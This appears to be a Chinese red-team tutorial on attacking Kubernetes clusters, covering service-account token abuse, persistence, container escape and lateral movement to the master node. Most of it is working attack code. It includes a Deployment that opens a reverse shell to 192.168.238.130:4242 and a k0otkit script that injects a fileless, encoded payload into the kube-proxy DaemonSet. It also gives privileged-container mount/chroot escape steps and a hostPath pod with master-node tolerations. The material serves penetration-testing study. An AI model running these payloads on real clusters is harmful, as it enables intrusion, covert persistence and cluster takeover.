$ CA_CERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
$ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
$ NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
$ curl --cacert $CA_CERT -H "Authorization: Bearer $TOKEN"
"https://192.168.111.20:6443/version/"
"kind": "Status",
"apiVersion": "v1",
"metadata": {},
"status": "Failure",
"message": "version is forbidden: User
\"system:serviceaccount:default:default\" cannot list resource \"version\" in API group \"\" at the cluster scope",
"reason": "Forbidden",
"details": {
"kind": "version"
},
"code": 403
那麼我現在建立一個高許可權service account 並使其與一個Pod相關聯,來複現一下這個攻擊手法
首先建立一個高許可權service account
kubectl create serviceaccount niubi #建立service account:niubikubectl create clusterrolebinding cluster-admin-niubi --clusterrole=cluster-admin --serviceaccount=default:niubi #把niubi放入叢集管理員組,相當於給了它高許可權
然後將service account與pod相關聯
在建立Pod的yaml檔案中的spec項中輸入 serviceAccountName: niubi
再試一下,發現可以呼叫api server了
這裡的持久化是指如何在Pod中持久化、如何在Node中持久化、如何在叢集中持久化。
如何在Node中持久化,在上一小節中已經提到過一些:通過寫入crontab,ssh公鑰,webshell實現,但個人覺得這幾個手段與其說是持久化,不如說是許可權提升更符合實際一點,因為這幾個手段在實際滲透中都是為了從Pod逃逸出來獲取Node許可權。
同時,在Pod,Node,Master上做持久化,有大部分方法本質上是「如何在linux機器上做持久化」,而「如何在linux機器上做持久化」方法就太多了,這裡就只著重於講述在「雲環境」裡獨有的持久化方法。
如果接管了對方的私有映象庫,我們便可以直接在其物件Dockerfile中塞入惡意指令(反彈shell等)
或者編輯映象的檔案層程式碼,將映象中原始的可執行檔案或連結庫檔案替換為精心構造的後門檔案之後再次打包成新的映象。
包括且不限於 更改設定暴露apiserver 8080埠、暴露docker.sock、暴露未授權etcd、暴露未授權kubelet等修改叢集組態檔達到持久化的方法。
部署一個額外的未授權且不記錄紀錄檔的api server以供我們進行持久化。
我們可以用github上專門用於k8s滲透的工具cdk(這個工具很屌)來做到這一點
https://github.com/cdk-team/CDK/wiki/CDK-Home-CN
https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-shadow-apiserver
建立容器時,通過啟用 DaemonSets
、Deployments
,可以使容器和子容器即使被清理掉了也可以恢復,攻擊者經常利用這個特性進行持久化,涉及的概念有:
● ReplicationController(RC)
ReplicationController
確保在任何時候都有特定數量的 Pod
副本處於執行狀態。
● Replication Set(RS)
Replication Set
簡稱RS
,官方已經推薦我們使用 RS
和 Deployment
來代替 RC
了,實際上 RS
和 RC
的功能基本一致,目前唯一的一個區別就是RC
只支援基於等式的 selector
。
● Deployment
主要職責和 RC
一樣,的都是保證 Pod
的數量和健康,二者大部分功能都是完全一致的,可以看成是一個升級版的 RC
控制器。官方元件 kube-dns
、kube-proxy
也都是使用的Deployment
來管理。
這裡使用Deployment
來部署後門
#dep.yaml
apiVersion: apps/v1
kind: Deployment #確保在任何時候都有特定數量的Pod副本處於執行狀態
metadata:
name: nginx-deploy
labels:
k8s-app: nginx-demo
spec:
replicas: 3 #指定Pod副本數量
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
hostNetwork: true
hostPID: true
containers:
- name: nginx
image: nginx:1.7.9
imagePullPolicy: IfNotPresent
command: ["bash"] #反彈Shell
args: ["-c", "bash -i >& /dev/tcp/192.168.238.130/4242 0>&1"]
securityContext:
privileged: true #特權模式
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
type: Directory
#建立
kubectl create -f dep.yaml
這裡介紹一個 k8s
的 rootkit
,k0otkit
是一種通用的後滲透技術,可用於對 Kubernetes
叢集的滲透。使用 k0otkit
,您可以以快速、隱蔽和連續的方式(反向 shell
)操作目標 Kubernetes
叢集中的所有節點。
K0otkit
使用到的技術:
●DaemonSet
和Secret
資源(快速持續反彈、資源分離)
● kube-proxy
映象(就地取材)
● 動態容器注入(高隱蔽性)
● Meterpreter
(流量加密)
● 無檔案攻擊(高隱蔽性)
#生成k0otkit
./pre_exp.sh
#監聽
./handle_multi_reverse_shell.sh
k0otkit.sh
的內容複製到master
執行:
volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content
ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
name: $secret_name
namespace: kube-system
type: Opaque
data:
$secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA......
# inject malicious container into kube-proxy pod
kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
| sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" \
| sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\"sh\"]\n args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/,; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" \
| kubectl --kubeconfig /root/.kube/config replace -f -
CronJob
用於執行週期性的動作,例如備份、報告生成等,攻擊者可以利用此功能持久化。
apiVersion: batch/v1
kind: CronJob #使用CronJob物件
metadata:
name: hello
spec:
schedule: "*/1 * * * *" #每分鐘執行一次
jobTemplate:
spec:
template:
spec:
containers:
- name: hello
image: busybox
imagePullPolicy: IfNotPresent
command:
- /bin/sh
- -c
- #反彈Shell或者木馬
restartPolicy: OnFailure
指從pod拿到Node的shell,或者拿到叢集控制權。
上面的小節提到過一些,比如kubectl未授權、docker.sock、掛載目錄、高許可權Service account等方法。
除此之外還有Docker、k8s的一些CVE
Docker逃逸如CVE-2019-5736,CVE-2019-14271,CVE-2020-15257、CVE-2022-0811
k8s提權到接管叢集的如CVE-2018-1002105,CVE-2020-8558
docker逃逸可以看之前總結的容器逃逸相關文章,這裡說一下特權容器逃逸
當容器啟動加上--privileged
選項時,容器可以存取宿主機上所有裝置。
而K8s組態檔啟用了privileged: true
:
spec:
containers:
- name: ubuntu
image: ubuntu:latest
securityContext:
privileged: true
實戰案例:
通過漏洞獲取WebShell
,檢視根目錄存在.dockerenv
,可通過fdisk -l
檢視磁碟目錄,進行掛載目錄逃逸:
#Webshell下操作
fdisk -l
mkdir /tmp/test
mount /dev/sda3 /tmp/test
chroot /tmp/test bash
● 內網掃描
● K8s常用埠探測
● 叢集內部網路
10.244.0.0/16
網路,Calico預設使用192.168.0.0/16
網路,如果出現在這些網段中(特別是10.244網段)那麼可以初步判斷為叢集中的一個pod。pod裡面命令很少,可以通過hostname -I(大寫i)來檢視ip地址Kubernetes
的網路中存在4種主要型別的通訊
● 同一Pod
內的容器間通訊
● 各Pod
彼此間通訊
● Pod
與Service
間的通訊
● 叢集外部的流量與Service
間的通訊。
所以和常規內網滲透無區別,nmap
、masscan等
掃描
● Flannel
網路外掛預設使用10.244.0.0/16
網路
●Calico
預設使用192.168.0.0/16
網路
通常來說,拿到kubeconfig或者能存取apiserver的ServiceAccount token,就代表著控下了整個叢集。
但往往在紅隊攻擊中,我們常常要拿到某一類特定重要系統的伺服器許可權來得分。前面我們已經可以在節點上通過建立pod來逃逸,從而獲得節點對應主機的許可權,那麼我們是否能控制pod在指定節點上生成,逃逸某個指定的Node或Master節點。
一般來說我們部署的Pod是通過叢集的自動排程策略來選擇節點的,但是因為一些實際業務的需求可能需要控制某些pod排程到特定的節點。就需要用到 Kubernetes 裡面的一個概念:親和性和反親和性。
親和性又分成節點親和性( nodeAffinity )和 Pod 親和性( podAffinity )。
節點親和性主要是用來控制 pod 要部署在哪些主機上,以及不能部署在哪些主機上的,演示一下:
檢視node的label命令
kubectl get nodes --show-labels
給節點打上label標籤
kubectl label nodes k8s-node01 com=justtest
node/k8s-node01 labeled
當node 被打上了相關標籤後,在排程的時候就可以使用這些標籤了,只需要在 Pod 的spec欄位中新增 nodeSelector 欄位
apiVersion: v1
kind: Pod
metadata:
name: node-scheduler
spec:
nodeSelector:
com: justtest
pod 親和性主要處理的是 pod 與 pod 之間的關係,比如一個 pod 在一個節點上了,那麼另一個也得在這個節點,或者你這個 pod 在節點上了,那麼我就不想和你待在同一個節點上。
節點親和性是 Pod的一種屬性,它使 Pod 被吸引到一類特定的節點。 汙點(Taint)則相反——它使節點能夠排斥一類特定的 Pod。
汙點標記選項:
我們使用kubeadm搭建的叢集預設就給 master 節點(主節點)新增了一個汙點標記,所以我們看到我們平時的 pod 都沒有被排程到master 上去。除非有Pod
能容忍這個汙點。而通常容忍這個汙點的 Pod
都是系統級別的Pod
,例如kube-system
給指定節點標記汙點 taint :
kubectl taint nodes k8s-node01 test=k8s-node01:NoSchedule
上面將 k8s-node01 節點標記為了汙點,影響策略是 NoSchedule,只會影響新的 pod 排程。
由於 node01節點被標記為了汙點節點,所以我們這裡要想 pod 能夠排程到 node01節點去,就需要增加容忍的宣告
使用汙點和容忍度能夠使Pod靈活的避開某些節點或者將某些Pod從節點上驅逐。
詳細概念可以參考官網檔案:汙點和容忍度 | Kubernetes
比如要想獲取到master節點的shell,則可以從這兩點考慮
檢視k8s-master的節點情況,確認Master節點的容忍度:
建立帶有容忍引數並且掛載宿主機根目錄的Pod
apiVersion: v1
kind: Pod
metadata:
name: myapp2
spec:
containers:
- image: nginx
name: test-container
volumeMounts:
- mountPath: /mnt
name: test-volume
tolerations:
- key: node-role.kubernetes.io/master
operator: Exists
effect: NoSchedule
volumes:
- name: test-volume
hostPath:
path: /
kubectl -s 192.168.11.152:8080 create -f test.yaml --validate=false
kubectl -s 192.168.11.152:8080 --namespace=default exec -it test-master bash
之後按照上面逃逸node01節點的方式寫入ssh公鑰即可getshell。
https://mp.weixin.qq.com/s/qYlAYM2jbdPtdXCi0oFagA
https://www.const27.com/2022/03/13/k8s安全 入門學習/ (k8s基礎、攻擊矩陣)
https://paper.seebug.org/1803/(k8s攻擊矩陣)
https://xz.aliyun.com/t/11316 (K8S雲原生環境滲透學習)
https://mp.weixin.qq.com/s/qYlAYM2jbdPtdXCi0oFagA (K8S後滲透橫向節點與持久化隱蔽方式探索)
https://mp.weixin.qq.com/s/emej9iAFTgr14Y_Q3-aYNA
https://kuboard.cn/learning/(非常好的中文教學)
https://kubernetes.io/zh/docs/tutorials/kubernetes-basics/(k8s官方教學,有互動式操作介面,稍微有點不好的是有些地方沒有中文)